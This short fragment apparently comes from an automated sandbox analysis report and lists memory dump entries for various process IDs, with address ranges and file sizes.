-
memory/1080-88-0x0000000000000000-mapping.dmp
-
memory/1116-95-0x0000000000000000-mapping.dmp
-
memory/1180-97-0x0000000000000000-mapping.dmp
-
memory/1316-94-0x0000000000000000-mapping.dmp
-
memory/1324-60-0x0000000000000000-mapping.dmp
-
memory/1416-90-0x0000000000000000-mapping.dmp
-
memory/1532-101-0x0000000000000000-mapping.dmp
-
memory/1568-87-0x0000000000000000-mapping.dmp
-
memory/1684-80-0x0000000140000000-0x00000001405E8000-memory.dmpFilesize
5.9MB
-
memory/1688-61-0x0000000000000000-mapping.dmp
-
memory/1688-62-0x000007FEFC451000-0x000007FEFC453000-memory.dmpFilesize
8KB
-
memory/1892-86-0x0000000000000000-mapping.dmp
-
memory/1916-93-0x0000000000000000-mapping.dmp
-
memory/1936-99-0x0000000000000000-mapping.dmp
-
memory/2028-96-0x0000000000000000-mapping.dmp
-
memory/2044-89-0x0000000000000000-mapping.dmp